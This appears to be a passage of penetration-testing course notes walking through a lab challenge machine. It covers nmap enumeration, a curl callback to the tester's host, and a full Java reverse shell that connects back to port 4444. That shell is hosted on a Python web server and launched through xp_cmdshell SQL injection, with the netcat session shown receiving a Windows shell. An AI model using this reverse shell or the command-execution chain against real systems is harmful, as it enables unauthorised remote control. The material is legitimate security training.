Module 16: Assembling the Pieces: Web Application Assessment Breakdown
Introduction to WEB-200 Challenge Machines
Welcome to the Challenge Machines
These fall between the sandbox and the cast study machines, running custom-designed applications intended to mimic real-world applications. You may need to combine multiple attacks or apply techniques in different ways to exploit them.
Starting and Accessing Challenge Machines
Start, revert, or stop the challenge machines from the Labs page. Add them to your hosts file for ease of access.
Completing Challenge Machines
Each challenge machine contains two flags. Each machine may be different, but generally, there is a local.txt obtained within the application after performing an authenticated bypass attack. The proof.txt requires gaining a shell on the machine.
Web Application Enumeration
Accessing the Challenge Machine
Start the VPN, the VM, and add its ip/hostname to your hosts file.
Basic Host Enumeration and OS Detection
Run nmap to identify open ports and other information.
Basic nmap scan of the challenge machine
kali@kali:~$ nmap asio
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-18 15:11 EST
Nmap scan report for asio (192.168.50.131)
Host is up (0.059s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 5.80 seconds
Nmap scan with OS discovery enabled
kali@kali:~$ sudo nmap -O -Pn asio
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-18 15:12 EST
Nmap scan report for asio (192.168.50.131)
Host is up (0.059s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose
Running (JUST GUESSING): AVtech embedded (87%), Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%), Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.69 seconds
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose
Running (JUST GUESSING): AVtech embedded (87%), Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%), Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).
If the application redirects us to http://asio/login, our session has expired. In which case, we would need to log in with the API key again and update the JSESSIONID value in Repeater.
...
listening on [any] 8000 ...
connect to [192.168.48.2] from (UNKNOWN) [192.168.50.131] 50274
GET /itworked HTTP/1.1
Host: 192.168.48.2:8000
User-Agent: curl/7.55.1
Accept: */*
Obtaining a Shell
In real-world application assessments, we may need to customize a reverse shell or some other piece of code to complete an attack. However, we recognize that WEB-200 is not a programming course. While we will walk through the code and explain it, we will also provide a copy of the final shell at the end of this section.
Java Reverse Shell example
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
An example Hello World application
class HelloWorldApp {
public static void main(String[] args) {
System.out.println("Hello World!"); // Display the string.
}
}
Creating a file for our reverse shell
kali@kali:~$ nano RevShell.java
Basic Java class code
class RevShell {
public static void main(String[] args) {
}
}
kali@kali:~$ cat RevShell.java
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
class RevShell {
public static void main(String[] args) {
String host="192.168.48.2";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}
}
We compile Java code with the javac command. In this scenario, we can rely on the victim machine to compile the code for us. However, if you wish to run javac locally but the command is not found, you can install the necessary files with sudo apt-get install default-jdk.
Java compiler error
kali@kali:~$ javac RevShell.java
RevShell.java:11: error: unreported exception IOException; must be caught or declared to be thrown
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
...
Updated main() method declaration
...
public static void main(String[] args) throws Exception {
...
Starting a python http server to host our shell
kali@kali:~$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Base SQL injection payload to download the reverse shell
...
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.50.131 - - [18/Jan/2022 16:38:46] "GET /RevShell.java HTTP/1.1" 200 -
Starting a netcat listener on port 4444
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
On older versions of Java, we'd need to compile the source file using javac. The compiler creates a class file with the same name, but no file extension. In theory, we could compile it locally and upload the class file. However, we would have to know the version of Java running on the server to ensure we compiled our code at the right target version. Java is backwards-compatible, so newer versions of Java will run code compiled for older versions. However, there are exceptions where updates removed some APIs from newer versions due to security concerns.
Base SQL injection payload to run our Java reverse shell
EXEC xp_cmdshell 'java %temp%/RevShell.java';
Netcat received our reverse shell
...
listening on [any] 4444 ...
connect to [192.168.48.2] from (UNKNOWN) [192.168.50.131] 50515
Microsoft Windows [Version 10.0.17763.2366]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
